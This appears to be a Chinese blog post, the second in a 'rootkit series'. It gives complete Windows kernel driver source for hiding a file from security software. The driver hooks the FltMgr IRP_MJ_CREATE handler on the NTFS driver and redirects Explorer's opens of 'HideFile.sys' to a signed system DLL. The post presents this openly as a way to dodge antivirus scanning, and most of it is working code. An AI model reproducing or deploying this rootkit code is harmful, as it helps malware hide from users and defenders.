• Rookit系列二【文件隐藏】【支持Win7 x32/x64 ~ Win10 x32/x64平台的NTFS文件系统】


    前言

    文件隐藏的方法有很多,这里分享的是一种通过内核文件重定向的方式动态规避检测的方法。举例:假设有一个安全软件A,A要扫描文件B,B是我们想要隐藏的文件。那么我们在内核中将A打开文件B的操作重定向到打开文件C,文件C我们设置为一个系统原有且自带微软签名的文件,这样文件B就躲过了A的扫描。等同于文件B对于安全软件A来说就是隐藏的。

    探究

    现在几乎所有的安全软件对于文件监控都是基于MiniFilter框架,而该框架的能力由FltMgr.sys这个驱动提供。而这个驱动会将设备对象附加到文件系统上,NTFS文件系统的驱动对象名为 \FileSystem\Ntfs。在FltMgr驱动的派遣函数中会调用到所有通过 F l t R e g i s t e r F i l t e r \textcolor{cornflowerblue}{FltRegisterFilter} FltRegisterFilter函数注册的文件过滤器。如果我们在它调用安全软件注册的文件过滤器之前,将文件路径修改就能实现上述的文件重定向。

    为了实现这个目标,我们首先需要获取NTFS文件系统的驱动对象。这里有个很好用的未文档化函数 O b R e f e r e n c e O b j e c t B y N a m e \textcolor{cornflowerblue}{ObReferenceObjectByName} ObReferenceObjectByName

    NTSATUS ObReferenceObjectByName(
    	_In_ PUNICODE_STRING ObjectName, // 驱动对象名
    	_In_ ULONG Attributes,			// 属性值,通常填 OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE
    	_In_ PACCESS_STATE AccessState,	 // 访问状态,一般填 NULL
    	_In_ ACCESS_MASK DesiredAccess,	 // 预期的访问值,一般填0
    	_In_ POBJECT_TYPE ObjectType,	 // 根据对象名代表的类型,有IoDriverObjectType、IoDeviceObjectType、IoFileObjectType .etc
    	_In_ KPROCESSOR_MODE AccessMode, // 内核下九天KernelMode
    	_In_opt_ PVOID ParseContext,	 // 一般填NULL
    	_Inout_ PVOID* Object);			// 输出对象指针
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    于是可以调用此函数,传入驱动对象名字得到驱动对象。然后我们从NTFS驱动对象中找到附加的FltMgr驱动对象,将该对象的IRP_MJ_CREATE类型的处理函数替换成我们自己的处理函数。随后在我们的处理函数中就可以做手脚了。

    代码

    #include 
    
    using ObReferenceObjectByName_t = NTSTATUS(NTAPI*)(
    	_In_ PUNICODE_STRING ObjectName,
    	_In_ ULONG Attributes,
    	_In_ PACCESS_STATE AccessState,
    	_In_ ACCESS_MASK DesiredAccess,
    	_In_ POBJECT_TYPE ObjectType,
    	_In_ KPROCESSOR_MODE AccessMode,
    	_In_opt_ PVOID ParseContext,
    	_Inout_ PVOID* Object
    	);
    
    // 保存原始的创建文件处理函数
    PDRIVER_DISPATCH g_FnOriginalCreateFileHandler = NULL;
    ObReferenceObjectByName_t g_FnObReferenceObjectByName = NULL;
    
    extern"C" PCHAR PsGetProcessImageFileName(PEPROCESS Process);
    extern"C" POBJECT_TYPE * IoDriverObjectType;
    
    extern"C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT pDrvObj, _In_ PUNICODE_STRING pRegPath);
    
    
    
    VOID DriverUnload(_In_ PDRIVER_OBJECT pDrvObj);
    BOOLEAN RetrievesKernelUnDocumentFuncition();
    BOOLEAN HookFltMgr(BOOLEAN bRemove);
    static NTSTATUS FsCreateFileHandler_Proxy(_In_ PDEVICE_OBJECT pDevObj, _In_ PIRP pIrp);
    
    extern"C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT pDrvObj, _In_ PUNICODE_STRING pRegPath)
    {
    	NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
    	pDrvObj->DriverUnload = DriverUnload;
    
    	if (RetrievesKernelUnDocumentFuncition())
    	{
    		if (HookFltMgr(FALSE))
    		{
    			ntStatus = STATUS_SUCCESS;
    		}
    	}
    
    	return ntStatus;
    }
    
    VOID DriverUnload(_In_ PDRIVER_OBJECT pDrvObj)
    {
    	if (HookFltMgr(TRUE))
    	{
    		// 需要等待1s,因为怕之前有些进入到自己的HOOK函数还没有完全出来,模块就已经卸载,导致BSOD。
    		LARGE_INTEGER liDelayInterval;
    		liDelayInterval.QuadPart = -1 * 100 * 100 * 10;
    		KeDelayExecutionThread(KernelMode, FALSE, &liDelayInterval);
    		DbgPrint("[+] UnHook FileSysDriver.\n");
    	}
    	DbgPrint("[+] Driver unload.\n");
    }
    
    BOOLEAN HookFltMgr(BOOLEAN bRemove)
    {
    	UNICODE_STRING uszTargetDriverName = RTL_CONSTANT_STRING(L"\\FileSystem\\Ntfs");
    	PDRIVER_OBJECT pFileSysDrvObj = NULL;
    	PDRIVER_OBJECT pTargetDrvObj = NULL;
    	PDEVICE_OBJECT pFileSysDevObj = NULL;
    	NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
    
    	ntStatus = g_FnObReferenceObjectByName(
    		&uszTargetDriverName,
    		OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
    		NULL,
    		0,
    		*IoDriverObjectType,
    		KernelMode,
    		NULL,
    		(PVOID*)&pFileSysDrvObj);
    
    	if (!NT_SUCCESS(ntStatus))
    	{
    		goto free_exit;
    	}
    
    	pFileSysDevObj = pFileSysDrvObj->DeviceObject;
    	if (!MmIsAddressValid(pFileSysDevObj))
    	{
    		goto free_exit;
    	}
    
    	if (pFileSysDevObj->AttachedDevice)
    	{
    		if (MmIsAddressValid(pFileSysDevObj->AttachedDevice))
    		{
    			// 取到的就是FltMgr的 Driver object
    			pTargetDrvObj = pFileSysDevObj->AttachedDevice->DriverObject;
    		}
    		else
    		{
    			goto free_exit;
    		}
    	}
    	else
    	{
    		// 说明没有过滤驱动,直接使用当前文件系统驱动
    		pTargetDrvObj = pFileSysDrvObj;
    	}
    
    	if (!pTargetDrvObj)
    	{
    		goto free_exit;
    	}
    
    	if (bRemove)
    	{
    		InterlockedExchange64((LONGLONG*)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE],
    			(LONG64)g_FnOriginalCreateFileHandler);
    	}
    	else
    	{
    		g_FnOriginalCreateFileHandler = (PDRIVER_DISPATCH)InterlockedExchange64(
    			(LONGLONG*)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE],
    			(LONG64)FsCreateFileHandler_Proxy);
    	}
    	
    	ntStatus = STATUS_SUCCESS;
    
    free_exit:
    	if (pFileSysDrvObj)
    	{
    		ObDereferenceObject(pFileSysDrvObj);
    	}
    
    	return NT_SUCCESS(ntStatus);
    }
    
    BOOLEAN RetrievesKernelUnDocumentFuncition()
    {
    	UNICODE_STRING uszFnObRefernceObjectByName = RTL_CONSTANT_STRING(L"ObReferenceObjectByName");
    
    	g_FnObReferenceObjectByName = (ObReferenceObjectByName_t)MmGetSystemRoutineAddress(&uszFnObRefernceObjectByName);
    	return g_FnObReferenceObjectByName != NULL;
    }
    
    static NTSTATUS FsCreateFileHandler_Proxy(_In_ PDEVICE_OBJECT pDevObj, _In_ PIRP pIrp)
    {
    	PIO_STACK_LOCATION pIostkloc = IoGetCurrentIrpStackLocation(pIrp);
    	PUNICODE_STRING puzFileObjectName = NULL;
    	PCHAR pszProcName = NULL;
    	// 预定义重定向路径
    	WCHAR wszReDirectionPath[] = L"\\Windows\\System32\\rpcrt4.dll";
    	ULONG ulReDirectionPathLength = wcslen(wszReDirectionPath);
    	// 做一些前置检查:
    	// (1) Irql级别必须在PASSIVE_LEVEL
    	// (2) 当前IRQL栈不为空
    	// (3) 当前IRQL栈中的文件对象不为空
    	if ((KeGetCurrentIrql() != PASSIVE_LEVEL)
    		|| (pIostkloc == NULL)
    		|| (pIostkloc->FileObject == NULL))
    	{
    		goto goon;
    	}
    
    	// 只处理Explorer.exe进程文件打开情况
    	pszProcName = PsGetProcessImageFileName(PsGetCurrentProcess());
    	if (_stricmp(pszProcName, "Explorer.EXE"))
    	{
    		goto goon;
    	}
    
    	puzFileObjectName = &pIostkloc->FileObject->FileName;
    	// 过滤出要隐藏的文件
    	if (puzFileObjectName->Buffer && !wcsstr(puzFileObjectName->Buffer, L"HideFile.sys"))
    	{
    		goto goon;
    	}
    	// 将打开的文件路径改为预定义的文件路径实现重定向
    	if (puzFileObjectName->Length > ulReDirectionPathLength * sizeof(WCHAR))
    	{
    		RtlZeroMemory(puzFileObjectName->Buffer, puzFileObjectName->MaximumLength);
    		RtlCopyMemory(puzFileObjectName->Buffer, wszReDirectionPath, ulReDirectionPathLength * sizeof(WCHAR));
    		puzFileObjectName->Length = ulReDirectionPathLength * sizeof(WCHAR);
    		puzFileObjectName->MaximumLength = ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR);
    	}
    	else
    	{
    		// 尝试释放原来的内存,防止泄露
    		if (puzFileObjectName->Buffer)
    		{
    			ExFreePool(puzFileObjectName->Buffer);
    		}
    
    		puzFileObjectName->Buffer = (PWCHAR)ExAllocatePoolWithTag(
    			NonPagedPool, ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR),'RdFn');
    		if (!puzFileObjectName->Buffer)
    		{
    			goto goon;
    		}
    
    		RtlCopyMemory(puzFileObjectName->Buffer, wszReDirectionPath, ulReDirectionPathLength * sizeof(WCHAR));
    		puzFileObjectName->Buffer[ulReDirectionPathLength] = 0;
    		puzFileObjectName->Length = ulReDirectionPathLength * sizeof(WCHAR);
    		puzFileObjectName->MaximumLength = ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR);
    	}
    
    goon:
    	return g_FnOriginalCreateFileHandler(pDevObj, pIrp);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166
    • 167
    • 168
    • 169
    • 170
    • 171
    • 172
    • 173
    • 174
    • 175
    • 176
    • 177
    • 178
    • 179
    • 180
    • 181
    • 182
    • 183
    • 184
    • 185
    • 186
    • 187
    • 188
    • 189
    • 190
    • 191
    • 192
    • 193
    • 194
    • 195
    • 196
    • 197
    • 198
    • 199
    • 200
    • 201
    • 202
    • 203
    • 204
    • 205

    演示

    在这里插入图片描述
    在这里插入图片描述
    可以发现Explorer被忽悠了。

  • 相关阅读:
    Java:阻塞队列BlockingQueue与应用场景
    [LabVIEW]圖像內的物件計算_Count objects
    前端CSS射门动画-为梅西最后一届世界杯加油
    WPF 控件专题 DatePicker控件详解
    Mac os通过dmg安装docker以后在终端中使用 docker -v docker --version等找不到docker命令解决
    FeignClient 数据请求方式小结
    Android Studio 下载地址
    nacos协议
    IEC103设备数据 转 IEC61850项目案例
    第09章 MyBatisPlus实现查询功能
  • 原文地址:https://blog.csdn.net/qq_41252520/article/details/134064943